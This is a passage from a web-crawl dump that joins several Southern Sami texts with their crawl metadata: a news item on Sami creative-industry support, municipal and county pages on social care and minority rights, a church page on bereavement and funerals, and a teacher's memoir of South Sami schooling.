kultuvrelle jïh sjugniedihks jielemh bæjjese vaalteme sijjen tjåanghkojne tjïeltigujmie.\n–Fokuse daan jieliemasse lea vihkeles juktie kultuvrem vaarjelidh, seamma tïjjen goh potensijelle orre barkoesijjieh sjugniesuvvieh. Jeenjesidie dejstie mah daan suerkien sisnjelen gïehtelieh, ij leah doh beetnegh mah skraejriem vedtieh, men daamtaj dah jielemem tseegkeme jïjtsh tjiehpeles ulmiej jïh sjugniedihksvoeten gaavhtan, jïh ihke sijhtieh saemien kultuvrem jïh identiteetem nænnoestehtedh tjeahpoen tjïrrh, Magga jeahta.\nAalka programmem Dáhttu 2.0\nSaemiedigkie edtja viehkiehtidh guktie saemien tjiehpiedæjjah jïh kultuvreaktöörh maehtieh sijjen baalhkah lissiehtidh guktie dah maehtieh jieliemassem åadtjodh sijjen barkoste. Juktie daam ulmiem jaksedh dellie Saemiedigkie edtja hoksedh jieleme evtiesåvva viehkine dovne maahtoelutnjemistie, viermieh, laavenjostoe, kapitaale, identiteete jïh idealisme.\nAkte orre råajvarimmie jaepide 2017 jïh 2018 lea Dáhttu 2.0 mij akte programme mij lea evtiedamme saemien kultuvrelle jïh sjugniedihks jielemesïeltide mah syjhtedassh utnieh sjïdtedidh. Gosse meatan programmesne åådtje 30 tæjmoeh raeriestimmine.\nGellie aktöörh aktem voenges\/regijonaale maarhkedem utnieh. Dotkeme vuesehte jis edtja dïenestem lissiehtidh, dellie sïelth tjuerieh maarhkededajvem vijriedidh. Daate sæjhta åejviefokusinie årrodh programmesne Dáhttu 2.0.\n–Sjugniedihks årrodh juktie orre maarhkedh gaavnedh lea akte vihkeles bielie sïelteevtiedimmeste. Mov mïelen mietie dle saemien sjugniedihks jielemh stoerre nuepieh utnieh gaajhkine bieline laantesne, jïh ij goh unnemes aktene gaskenasjonaale perspektijvesne, saemiedigkieraerie Mariann Wollmann Magga minngemosth jeahta.\nJis vielie bïevnesh sïjhth, gaskesadth saemiedigkieraeriem Magga, Job. 977 02 350.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/rorosnytt.no\/fortsetter-satsningen-pa-samisk-kulturell-og-kreativ-naering\/","date":"2017-10-17T16:44:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822145.14\/warc\/CC-MAIN-20171017163022-20171017183022-00176.warc.gz","language":"sma","language_score":0.9866685271,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9866685271263123, \"sme_Latn_score\": 0.011019166558980942}","num_words":659,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Funktionsmappar\nJis gåetesne årroeh maahtah daarpoepryövemen mænngan gåetietjeanadimmie åadtjodh. Gåetietjeanadimmie maahta voestes iereste datnem viehkine årrodh persovnijen såjhtoe. Maahta årrodh byömedidh jïh jovkedh, gåårvedidh jallh bissedidh. Aaj maahtah åadtjoeh faalaldahkh maam datne jearsoes gåetesne damtedh. Maahta v.g. larmem juktie datne dallegh maahtah viehkiem åadtjodh jis daarpesjh. Jis datnem lihkemes fuelhkieh sujhtieh maahta dïhte dåarjoem åadtjodh jallh giem akt båata jis dïhte ij maehtieh dov luvnie årrodh. Maahtah biejjiedarjomh ohtsedidh juktie aelhkebe gåetesne årrodh. Maahtah aaj ohtsedidh jis boelhketjeårromesijjiem daarpesjh. Datne gie jeenje såjhtoem daarpesjh jïh dutnjien geerve gåetesne årroeh maahtah årromesijjie sjïere årromesæjjan åadtjodh. Maahta hoksehtimmiegåetesne, tjïerteårromesijjesne jallh skiemtjehïejmesne årrodh.\nSosiaaletjeanadimmie aaj dåarjoem faala maam ij daarpoepryöveme lea. V.g. bïjre jarkan Upmejisnie gaavnedimmiesijjieh mah leah sijjieh gusnie voeresh båetieh jïh boelhketjem gaavnedieh.\nSidan har granskats 2009-09-11\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/daarjoejihsajhtoevoeresidie.4.2aeb902411d30c9e460800061536.html","date":"2017-11-20T11:29:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806030.27\/warc\/CC-MAIN-20171120111550-20171120131550-00459.warc.gz","language":"sma","language_score":0.9999804497,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999804496765137}","num_words":164,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sveerjen gaskenasjovnelle dïedth sjädta såemies unnebelåhkoereaktah edtjieh abpe laantesne vihtiestidh. Gaajhkh vïjhte nasjovnelle unnebelåhkoeh dan gaavhtan dennie orre laaken vuelene (2009:724).\nMaadthvaarjelimmie\nMaadthvaarjelimmiem diss-vielie sjädta:\n- reeremebyjjesfaamoeh edtjieh dejtie unnebelåhkojde sjiehteles vuekine bïevnedh dej reaktaj bïjre gosse daerpies lea\n- åålmege joekoen dïedtem åtna unnebelåhkoegïelide vaarjelidh jih evtiedidh jih edtja aaj dej unnebelåhkoej nuepieh evtiedidh sijjen kultuvrh Sveerjesne gorredidh jih evtiedidh\n- maanaj öövtiedimmie sijjen kultuvrelle identiteteste jih nuhtjeme jijtjene unnebelåhkoegïelijste edtja joekoen evtiesovvedh\n- reeremebyjjesfaamoeh edtjieh dejtie nasjovnelle unnebelåhkojde nuepieh tsevtsemasse vedtedh gyhtjelassine mej dej doehtieh jih aaj unnebelåhkoej saadthalmetjigujmie dagkerh gyhtjelassine råårestalledh\nSjïere reaktah\nSjïere reaktah disse gie såevmien, saemien jih meänkieli soptseste jih reeremedajven sisnjielisnie. Dah reaktah leah diss-vielie:\n- aajnealmetjh reaktam åtna gïelide nuhtjedh sijjen njaelmeldh jih tjaeleldh gaskesadtemh byjjesfaamoejgujmie ïerine mej bïjre byjjesfaamoeh edtja nännoestidh jih mejtie aajnealmetje paarte lea\n- byjjesfaamoeh dïedtem åtna njaelmeldh vaestiedimmiem seamma gïelesne vedtedh jih aaj vaejtemen männgan tjaeleldh jarkoestimmie vedtedh nännoestimmien jih nännoestimmie-tjielkestimmien bïjre. Byjjesfaamoe maahta sjïere aejkiem jih sijjiem nännoestidh gusnie dåastoehtidh dïhte giem säjhta unnebelåhkoegïelem nuhtjedh\n- reeremebyjjesfaamoeh edtjieh barkedh juktie barkijh gååvnesieh mej leah maahtoeh unnebelåhkoegïeline\n- tjïelth dïedtem utnieh maana- jih voereshoksem öörnedh abpe jallh bielietijjem unnebelåhkoegïeline jis naakene reeremedajvesne dam vaajta","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.lansstyrelsen.se\/Stockholm\/Sv\/manniska-och-samhalle\/nationella-minoriteter\/aarjelsaemien\/Pages\/laake-nasjovnelle-unnebelahkoej-b%C3%AFjre.aspx","date":"2017-12-14T16:48:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948545526.42\/warc\/CC-MAIN-20171214163759-20171214183759-00048.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":188,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hearrine jallh diakonine soptsestalledh\nGosse guhte sealadamme dellie iemie jaemiedistie bïlledh jïh båasarostedh. Gosse sårkosne jïh jaememe mijjem jaksa dellie dovne bolle jïh sealoe vaajveminie. Muvhtine sårkoe domtoe löövles oktegimsie guedtedh. Hearrah jïh diakonh leah vaane almetjh råakedh nemhtems staelpine jïh dej leah dïedte sjeavohth årrodh. Soptsesth dejnie dov byjreske åålmeginie. Ij vuekie gååvnese guktie sårkodh – gaajhkesh dam darjoeh jïjtjene vuekien mietie, jïh ij akte vuekie buerebe mubpeste. Mijjieh daarpesjibie guarkedh jïh daejredh sårkojne ovmessie vuekiej mietie barkebe. Muvhth gåavvarostoeh jïh vaejviedieh dan åvteste ij leah gåessie gænnah jeehti jallh darjoeji dam maam sijhtieh jiehtedh jallh darjodh, muvhth aaj måeresne oktegh sjïdteme. Aaj maehtebe geahpanidh, jis dïhte gie sealadamme guhkiem skïemtjeles orreme jïh jaememe skeamtjohkem dellie lutnjeste.\nGovlehtidh åålmeginie\nBööremes jis fuelhkie jïjtse åålmeginie govlehtieh jïh dejnie giem sæjhta hearrine edtja årrodh gosse juvledh. Dellie aaj maahta ektesne raeriestidh mij biejjide juvleme-gyrhkesjimmiem utnedh jïh fuelhkie åvtelh-bodti daejrieh hearram åadtjoeh maam sijhtieh. Ij daarpesjh hearram jïh biejjiem juvleme-gyrhkesjæmman juvleme-byråen tjïrrh dongkedh.\nVoestes maam darjodh\nÅvtesne dallegh hearran gåajkoe mïnnin goss guhte sealadamme. Daan biejjien dan byjreske skaehtie-åajvohkasse bievnede. Maahta hijven årrodh dejnie aelkedh gosse processem juhtiehtidh. Desnie vihtiesti juktie luhpiem åtna åemie-almetjem juvledh jallh jis båeltedh. Skaehtie-åajvohkistie aaj jeatjah tjaatsegh åadtjoeh goh daaroen registerutdrag (daerpies gosse baanghkine soptsestidh), vïhtesjimmie guhte sealadamme jïh gieh dan fuelhkieh (daerpies aerpie-juakose).\nJïjnjemes aejkien skïemtjegåetie, servicegåetie jallh jis faaradamme polise bollem gorrede. Vuartasjieh juktie bolle bïltegåatan båata, juktie ij ennje daarpesjh ussjedidh gæstoem åestedh. Dellie maahta raeffesne ussjedidh guktie juvledh. Vihkeles gåvnahtidh, sjïere gosse minngiegeatjesne – jaememe. Dellie voeth jïh vuekieh gosse juvledh soelkedasse maahta årrodh jïh dåarjedidh gosse sårkosne.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.svenskakyrkan.se\/jaememe-jih-juvleme","date":"2017-12-12T06:10:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948515309.5\/warc\/CC-MAIN-20171212060515-20171212080515-00688.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":263,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"På norsk\nArtihkal girjjis Sámi skuvlahistorjá 6. Davvi Girji 2013.\n\n\nNora Marie Bransfjell konferansesne meatan Saemien Jïlleskuvlesne, 2002.\n|Nora Marie Bransfjell lea saemien lohkehtamme gaajhkine skuvlen daltesinie aarh-skuvleste jïilleskuvlese universiteetese.\n\n\nJaepien 1955 reakasovvi jïh Stoerdaelesne Mearohken tjïeltesne byjjeni. Maanaskuvlesne dovne Stoerdaelesne jïh Aarbortesne, mænngan dle Mearohken realskuvlesne, åvtekuvsjesne lohkehtæjjide Karasjokesne jïh Leevaanken lohkehtæjjaskuvlesne, biologijem lohki lissiefaagine. Åarjelsaemien lohkeme, jeatjah saemien gïelh, såevmiengïelem jïh lingvistigkem Upmejen universiteetesne. Iktesth lea lyjhkeme maam lohkedh jïh ovmessie kuvsjh sjïdteme.\nJaepiej 1985-96 dellie lij lohkehtæjja Åarjel-saemiej skuvlesne Snåasen tjïeltesne, jaepiej 1987-91 rektovrine barki. Snåasen mænngan dle Noerhte-Trøøndelagen jïlleskuvlese gusnie åarjelsaemien gïelem jïh kultuvrem lohkehteminie. Seamman aejkien aaj jeatjah barkosne, vg. 2007\/08 rektovrine dennie Gaske-Nøørjen Saemienskovlesne Aarbortesne.\nNora Marie Bransfjell lij ovmessie gïelebarkojne meatan, vg. Saemien Gïeleraeresne, Saemiedigkien gïeleståvrosne jïh Saemien gïelemoenehtsisnie. Saemien politigkine dovne Nøørjen Saemiej Rïjhkesiebresne jïh Nøørjen Båatsoesaemiej Rïjhkesiebresne. Dïhte lij Øøhpehtimmiesiebrien Saemien moenehtsen voestes åarjelsaemien lïhtsege.\nVoestes aejkien manne åarjelsaemien tjaelemegïelem lierim damtedh dellie manne 14 jaepien båeries. Tjidtj-aajja mannem girmi man jeenjem skuvlesne lïereme jïh munnjien jeahta: nov gujht datne Nora buektehth lïeredh saemien lohkedh. Dïhte hov meatan dåarjoehti dam voestes lohkemegærjam Sámien lukkeme-gärjá (1957) maam Knut Bergsland jïh Gustav Hasselbrink darjoejigan. Manne lohkim jïh jis båajhtode dellie tjidtj-aajja staeriedi bïhkemdi guktie. Månnoeh utnien dan luste dejnie lohkemeboelhkine.\nTjidtj-aajja skuvlem veedtsi Havikesne, Namsosen tjïeltesne, dennie skuvlesne Skole for lappebørn. Idtji daaroen maehtieh goh skuvlem aelkiesti. Læjhkan dan guhkie bøøti guktie gaskeskuvlem veelti. Dillie gidtjh ij lij sïejhme saemide skuvlh vaedtsedh. Aajja nïekedi advokaatine sjïdtedh. Idtji mij destie sjïdth. Vïellebe Meehte dan noere batneni jïh tjidtj-aajja tjoeveri bovtsine barkedh. Tjidtj-aahka aaj skuvlesne Havikesne. Dïhte sijhti tsîgk-ietnine sjïdtedh jïh jaepien 1922 dellie vøølki dan staarese Kristiania (Oslo) jïh dubpene tsîgk-ietnien øøhpehtimmiem veelti. Aehtj-aahka lieri gåarodh. Åarjene lin årroeminie mearan aehtj-aajja bovtsetriengkine laedtiej luvnie dejnie Lærdal-vaerine, jïh dellie aehtj-aahka gåaroejinie dïenesji. Mijjen aehtjie dubpene reakasovvi jïh Borgund aalkegærhkosne kristesovvi.\nTjidtjie voestegh skuvlesne Havikesne goske dåaroe sjidti jïh dellie Stoerdaelesne. Almeh-jïlleskuvlen mænngan dle aelkiesti skïemtjesåjhtereskuvlesne. Gøøkte jaepieh desnie dle tjoeri orrijidh, dïhte jïjtje skeamtjoeji, tuberkulose. Åemie aehtjie voestegh Stoerdaelesne jïh dellie skuvlesne Stugudaelesne. Minngemes jaepiej Havikesne gusnie aaj skylli. 19 jaepien båeries dle aelkiesti tjidtj-aajjan luvnie triengkine jïh minngemes dle tjidtjine pruvri.\nJaepien 1968 dellie saemienskuvle Snåasesne aaj, jïh Stoerdaelien saemien angkenh fihkin skuvlem veeljedh, Aarbortesne jallh Snåasesne. Muvhth saemien maanah skuvlem Snåasesne veeljin. Månnoeh vïellh jïh akte vielie Mearohken jarngeskuvlese. Dellie tjïjhtjede klaassem jïh realskuvlem Mearoehkisnie. Dan mænngan gymnasese Sjïerdaelesne. Mearan gymnasesne dellie mov maana reakasovvi jïh nimhtie dam idtjim dam gymnaaseskuvlem tjïrrehth. Gymnase jallh ij, øøhpehtimmie lij munnjien vihkeles. Mov eejhtegh jïh vïelleh mannem viehkiehtin jïh minngemes maanasåjhterinie sjidtim. Ulmie lij maanavaarjelimmiepedagogine sjïdtedh. Gymnasen namhtah dle tjoerim naan jaepieh barkosne aerebi goh Maanavaarjelimmie-akademijese baahtsedh.\nTjaktjen 1977 mov voestes barkose vøølkim Leevaankesne, Innherred Skïemtjegåetesne. Naan gille askh debpene dellie dïhte åemie rektovre Harald Eliassen Gaske-Nøørjen Saemienskovleste mannem ringki jïh barkoem faali tjïerte-åvtoehkinie dennie internaatesne. Dellie limen gøøkte jaepieh Aarborten-almetjh, mov påajketje jïh manne. Helgelandesne jis barkijes byjreske NSR-siebrie jïh dan åvtohke åemie Odd Kappfjell dan eevtji edtjim lohkehtæjjaskuvlese dillie goh nuepie sjidti.\n|Nora Marie Bransfjell Gaske-Nøørjen Saemienskovlen åemie rektovrine ektesne, Harald Eliassen. Daesnie Nøørjen Saemiej Rïjhkesiebrien jaepietjåahkosne, Čáhcesuollu 1988.|\n(Govva: Svein Lund)\nDïhte voestes åarjelsaemien bieliejaepieboelhke lij gøøkte njieljienvåhkoen giesiekuvsjh 1983 jïh 1984. Giesiekuvsji gaskem naan gille tjåanghkoeh jïh jïjtjelohkeme. Lohkemesijjie lij Åarjel-saemiej skuvlesne, Snåasesne, jïh skuvlen rektovre, åemie Ella Holm Bull, dïhte lij mijjen lohkehtæjja. Gasketjåanghkojde håalemeguessieh bøørin, v.g. Louise Bäckman saemien aahkaj bïjre soptsesti jïh Gaebpien Gåsta\/Gustav Kappfjell mij jïjtse tjihtesetjaelemen jïh joejkemen bïjre soptsesti. Mijjen sensorh lin Lajla Mattsson jïh åemie Anna Jacobsen. Nuekies jïjnjh teeksth åadtjodh dellie gaajhkem dovnem lohkim jïh jïjnjh kultuvregærjah. Naan gærjah annje hïjven åtnose, Bergsland\/Bull: Lohkede saemien jïh Bergsland\/Hasselbrink: Saemien lohkeme-gærja, [1] Bergsland: Sydsamisk grammatikk jïh tjihtesh mejtie Gustav Kappfjell tjaaleme jnv. Dejnie giesiekuvsjine aaj derhviegåetieprosjeektem utnimh. Dïhte derhviegåetie lea Åarjel-saemiej skuvlen baalte. Lissine dle gærjetjem darjoejimh, Guktie derhviegåetiem tseegkedh, gærjetje gusnie guvviehjïh teeksth vuesiehtieh guktie derhviegåetiem tseegkedh. Gaektsie studeenth lohkemem aelkiestin, govhtesh mah tjïrrehtin.\nLohkehtæjjan øøhpehtimmesne mijjen pedagogigkelohkehtæjja lij barkoetjïertesne meatan dellie goh edtjin maadthskuvlen learoeplaanem orrestidh. Ikth jaepien 1984 dellie Leevaankesne tjåanghkoe. Studeentide bøørin edtjin barkoen bïjre åadtjodh govledh jïh minngemes dle nuepie man bïjre gihtjedh. Måjhtam manne dle tjuedtjielim gihtjim dam barkoen åvtohkem mah lin åarjelsaemiej bïjre aaj ussjedamme mearan plaanine barkeminie. Dan mearan gujht eah lin ussjedamme.\nMearan lohkehtæjjaskuvlesne dellie munnjien nuepie åadtjodh saemien lohkehtidh, voestes aejkien saemien lohkehtæjjine jåarhkeskuvlesne Sjïerdaelesne.\nMænngan goh voestes bieliejaepieboelhkem lohkim jaepien 1983\/84 dellie jeenemes åarjelsaemien lohkemh Noerhte-Trøøndelagen jïlleskuvlen nuelesne. Jaepeste 1987 departemeente dam jïlleskuvlen åejviedïedtem bæjhkoehti nænnoesti. Jaepien 1987 raajan dellie jïlleskuvle åarjelsaemien voestes bieliejaepieboelhkem faali mij daelie lea Åarjelsaemien 1. Jïh mænngan plaanem dan nubpien boelhkese, Åarjelsaemien 2, darjoejimh Romsen universiteetine aktine. Gåabpatjahkh lohkemh leah Leevaankese bïejesovveme. Aerebi dellie idtjin lohkemem faalh fïerhten jaepien. Daj minngemes jaepiej leah pryøveme Åarjelsaemien 1 jïh 2 fïerhten nubpien jaepien faaledh. Lohkemesijjieh ovmessie sijjine vearadamme dovne Sjïerdaelesne, Leevaankesne, Snåasesne jïh Rørosesne. Medtie 50-60 studeenth eksaamenem vaalteme dejstie lohkemijstie Åarjelsaemien 1 jïh 2.\nLohkemem buektiehtidh øørnedh dellie jïlleskuvle nuekies staaten beetneh-vierhtieh daarpesje. Naan jaepieh daan åvtelen, maehtedh Åarjelsaemien 2 øørnedh, dellie jïlleskuvle lohkememaaksoem studeentijste sijhtin. Gosse studeenth jïjtjh dam aamhtesem politigke åårgani uvte tseegkin dellie skuvle Øøhpehtimmiedepartemeenteste lissie-dåarjegh åadtjoejin guktie studeenth idtjin daarpesjh maeksedh.\nJïlleskuvle Nesnesne lea ikth voestes åarjelsaemien bieliejaepieboelhkem faaleme jïh ikth nubpiem bieliejaepieboelhkem. Lohkemidie Aarbortese biejin jïh lohkehtæjja lij åemie Anna Jacobsen. Naan gille studeenth leah nøøreme saemien gaskefaagem jïh åejviefaagem lohkedh dennie universiteetesne Romsesne.\nSaemien jïlleskuvle lea gøøkth lohkemh øørneme åarjelsaemiej dajvesne, ikth kuvsje gellien-kultuvren bïjre jïh ikth dam lohkemem gïele- jïh duedtie Snåasesne. Saemien jïlleskuvle jaepien 2009\/10 voestes aejkien saemien masterfaagem faali jïh dellie akte studeente åarjelsaemiej dajveste.\nJïlleskuvlen lohkemisnie lin vaenemes golme studeenth jïh jeenemes 15. Dejstie medtie 50-60 studeentijste gïeh jïlleskuvlesne lohkeme, dejstie gujht vïjhtesh mah saemien voestesgieline lohkin jåarhkeskuvlesne. Åarjelsaemien 1 lohkedh dellie krïebpesjieh datne vaenemes saemien lohkeme mubpine gieline jåarhkeskuvlesne jallh seamma daltesisnie. Jïjnjh daaroengïelen faagegærjah provhkebe jalhts pryøvem saemiengïelen gærjah jïh teeksth ohtsedidh gaajhkide kultuvren aamhtesidie.\nSaemien lohkehtæjjine dellie jeenemes oktegh barkeminie. Gaajhkine jaepine jïlleskuvlesne leam oktegh saemien lohkehtæjjine gaajhkine aamhtesinie. Munnjien vaane dïhte, gellie jaepieh hov sjïdteme. Voestes jaepiej dellie jeenebh beetnegh aaj jïh nuepie almetjh skuvlen ålkoelistie gihtjedh båetedh lohkehtehtedh. Voestes jaepiej jïlleskuvlesne dellie aaj ovmessie tjåahkojne meatan edtjim jïlleskuvlen bïjre jeatjabidie soptsestidh. Daelie jeatjah almetjh jïlleskuvleste dagkarinie tjåanghkojne.\nJiehtedh lidtjeme ij leah jïlleskuvle iktesth dan eadtjohke-laakan barkeme åarjelsaemien gaavhtan. Joekehth almetjh dennie reeremisnie jïh joekehth domtoeh jïh åssjalommesh saemienfaagen bïjre. Nemhtie hov lea. Departemeente jis krïebpesjamme galka jïlleskuvlen dïedte dïhte åarjelsaemien lohkehtimmiem utnedh jïh øøhpehtimmiem lutnjedh åarjelsaemiej luvnie.\nMearan barkosne Snåasesne dellie sijhtim vielie saemien lohkedh universiteetesne Oslosne. Idtjim permisjovnem saemienskuvleste åadtjoeh. Jïh dellie ij vielie nuepie saemien lohkedh Oslosne. Tjaktjen 1990 dellie - jis sijhtim vielie lohkedh, dellie tjoerim Upmejasse. Vaenebh jallh jeenebh leam Upmejen universiteetese vïedteldh jov jaepeste 1990. Im leah barre åarjelsaemien lohkeme, dovne jeatjah saemien gïelh, såevmien gïelem, lingvistigkem jïh såemies jeatjah aamhtesh. Jaepeste 1994 mearan jïjtje lim lohkeminie dellie aaj Noerhte-Trøøndelagen jïlleskuvleste lohkehtim. Jeatjah sijjine dovne, Upmejen universiteetesne, Uppsalan jïh Helsinkin universiteetesne jïh Saemien jïlleskuvlesne. Gellie jaepieh mænngan dellie aelkiestim dåakteredaltesebarkojne. Daate barkoe annje vuertieminie. Ij lij aelhkie bïhkedæjjam åadtjodh jïh dïsse lissine gujht ååpsen jïjnje jeatjah barkoe. Mov barkoen bealese leam ovmessie barkojne meatan. Aerebi eah lin man jeenjesh åarjelsaemien jollebe øøhpehtimmine. Jïh guktie maehtedh nyøjhkedh gosse daajrah ij leah guhte jeatjah barkose bïejedh jallh idtji guhte jeatjah sïjhth?\nLustes tïjje dennie Åarjel-saemiej skuvlesne. Gaajhkh learohkh dan eadtjohke, jïh eejhtegi gujmie hïjven-laakan vyøhkesadtimh. Jaepien 1987 dle dïhte learoeplaane Mønsterplanen bøøti, edtjimh byjreske learoeplaanh darjodh jïh tuhtjimh mijjese hïjven dïhte. Gellien aejkien dle gåabph akth fealadimh jïh gellien aejkien «ålkoeskuvlem» utnimh. Mijjen lahtese hov nemhtie: «ij gåessie nåake vearelde, barre nåake vaarjoeh.» Fïerhten gïjren dle gåhkese vøølkimh, såemies vaeride, staarese jallh haavebealese gogka akth. Gïjren 1989, dellie lim rektovre, dellie maadth-skuvlen 250-jaepien heevehtimmie dennie staaresne Bergen, jïh skuvlen gaajhkh learohkh jïh lohkehtæjjah dahkoe bøøresovvin. Mijjieh limh skuvletjaelemem vitneme. Heevehtimmesne, dennie stoerre savkesne Grieghallen, mijjen learohke Maria Synnøve Stenfjell tjihtesem lohki mejnie vitnimh, jïh åemie Erik Bye dam tjihtesem daaroengïelese lohki. Jïh hævvi NRK debpene, mijjieh TV:se hov bøøtimh! Tuhtjem hïjven ektesne barkimh, gaajhkh dah barkijh internaatesne jïh mijjieh skuvlesne. Aaj jïjtjemdh vaktmesterem utnimh, govlem ij vielie daelie goh. Jïh dïhte vaktmestere gidtjh gaajhkese dle sjiehti, lohkehtæmman dovne. Skuvlesne limh vïjhte lohkehtæjjah, golme saemien lohkehtæjjah. Eah man jeenjh saemien learoegærjah jallh jeatjah learoevierhtieh. Åemie rektovre Ealla hov lij væjkele tjaeledh jïh jeenebh skuvlegærjah tjeeli. Dah voestes båateme goh manne aelkiestim desnie, menh jïjtje aaj tjoerim jeenjem saemien lohkehtæmman darjodh.\nOrre lohkehtæjjine dellie mov naan orre åssjoeh skuvlese meatan. V.g. lohkehtæjjaskuvlesne lim lïereme guktie musigkem jïh daansoem utnedh saavremisnie. Idtjin ov gaajhkesh tuhtjh man hïjven dïhte. Biologijem lim lohkeme jïh eatnemefaage mov faage dennie skuvlesne. Dïhte luste. Skuvlen jïjnjh beetnegh jïh mijjieh åestiejimh dam maam sijhtimh jïh daarpesjimh.\nEalla soptsesti skuvlen voestes jaepiej dellie idtjin dïervesjh mejtie skuvlesne saemien voestes- jallh nubpie gïele, dellie barre saemien. Dejnie barkojne Mønsterplanen 1987 dellie easkah dagkerh lahtesh aelkiestin nuhtjedh. Tjaktjen 1987 dïhte voestes learohke saemien voestes gieline Åarjel-saemiej skuvlese bøøti, Vilmi Steinfjell. Mænngan dle jeenebh learohkh saemien voestesgieline jïh minngemes dle njieljie learohkh dennie gïeletjïertesne gusnie Ealla lohkehti. Voestesgïelen øøhpehtæmman ij dillie naan åarjelsaemien learoevierhtieh. Ealla jis meehti jïjtje tjaeledh, gærjetjh jïh vielie jeatjah mah mænngan gærjine båateme. Mearan Ealla barkoen luvhtie naan jaepieh dellie Ealsa Andersson lohkehtehti jïh dïhte aaj jïjtje tjaalegh tjeeli. Dah voestesgïelen learohkh lin oktegh dejnie tæjmojne saemien, madte jïh kristusen learoe. Jeatjah tæjmojne dej nubpiejgujmie ektesne.\nÅarjel-saemiej skuvlesne dah klaasseh 1-6. Noereskuvlen learohkh lin Snåasen noereskuvlesne jïh Åarjel-saemiej skuvlen dïedte saemien gïelen jïh kultuvren lohkehtimmiem utnedh. Manne lohkehtehtim dennie Snåasen noereskuvlesne jïh fïerhten biejjien dle vaarrestim dej skuvli gaskem.\nÅarjel-saemiej skuvlesne eah barre åarjelsaemien learohkh. Naan noerhtesaemien fuelhkieh lin jåhteme åarjelsaemiej dajvese. Dah lin båatsoe-almetjh jïh eejhtegh sijhtin manne edtjim aaj noerhtesaemien lohkehtehtedh juktie govleme mearan manne Karasjokesne dellie noerhtesaemien lierim. Ij man aelhkie dïhte. Åarjel-saemiej skuvle lea skuvle åarjelsaemien maanide jïh skuvlesne åarjelsaemien lohkehtimmie. Daelie govlem jeatjh-laakan sjïdteme jïh maanah åadtjoeh noerhtesaemien lohkedh jis dej ietniengïele dïhte.\nTjaktjeste 1987 dle rektovre Ealla stipendiatine sjidti Noerhte-Trøøndelagen jïlleskuvlesne. Manne dellie njieljie jaepieh rektovrine goske Ealla bååstide skuvlese bøøti. Dej seamma jaepiej dle lohkehtehtim dovne åarjel-saemiej skuvlesne, noereskuvlesne jïh Kråangken jåarhkeskuvlesne. Nov maa jïjnje barkoe sjidti.\nMåjhtam naa barkoes gaajhkide saemien lohkehtæjjide. Saemien lohkehtæjjijste vaenieh jïh mijjieh limh mejnie akth meatan dubpene daebpene. Jïh gaajhkh skuvlen tjåahkoeh dejtie utnimh mænngan goh skuvlebiejjie nåhki. Daelie gujht buerebe sjïdteme.\nSkuvlesne utnim hïjven, manne desnie tryøjjedim. Dïhte Snåasen skuvle-åvtohke aaj dan eadtjohke. Nåå hævvi mijjieh saemieh aaj tjoerimh jïh tjoerebe skuvlem stuvredh nimhtie guktie laake jeahta, menh dïhte skuvle-åvtohke saemide golteli jïh jis sijhtimh maam darjodh skuvlem orrijehtedh dellie dle mijjem dåarjoeji. Voene Snåase ånnetje jeatjh-laakan. Daelie Snåasen tjïelte saemien gïelereeremedajvesne meatan jïh dïhte sån vuesehte voene jeatjahtovveme.\nManne dejtie mov «båeries» learoehkidie ovmessie tsiehkine råakem. Åtnam dan luste dïhte jïh nov manne garmerdem dan barkoen åvteste mijjieh saemiej skuvlesne limh gïehteleminie. Mearan rektovre desnie dellie eajhnah fihkim edtjimh sjïere saemien sijjiem øørnedh dunnie sijjesne Gressåmoen. Debpene derhvie-gåetiem tseegkim åemie aahka Meelen sijjien lïhke, åehpies aahka Snåasesne. Bengt Åke Jåma skuvlem barkojne viehkiehti, maanajgujmie ektesne dovne. Minngemes dle oktegh sjidtimen dejnie barkojne månnoeh Bengteh. Menh gåetie dle sjidti. Jis im miste govleme dellie gåetie annje debpene Åarjel-saemiej skuvlen åtnose.\n|Nora Marie Bransfjell studeentigujmie ektesne, Saemien 2, Noerhte-Trøøndelaagen Jïlleskuvlesne gïjren 2012.\n\n\n(Govva: Bjørnar Leknes, HiNT)\n|Muvhth dejstie vihkielommes gærjijste mah nuhtjesuvvieh.|\n(Govva: Bjørnar Leknes, HiNT)\nDovne jåarhkeskuvlese jïh jïllebe øøhpehtæmman tjoerebe jeenjebem darjodh. Joekoen voestesgïelen 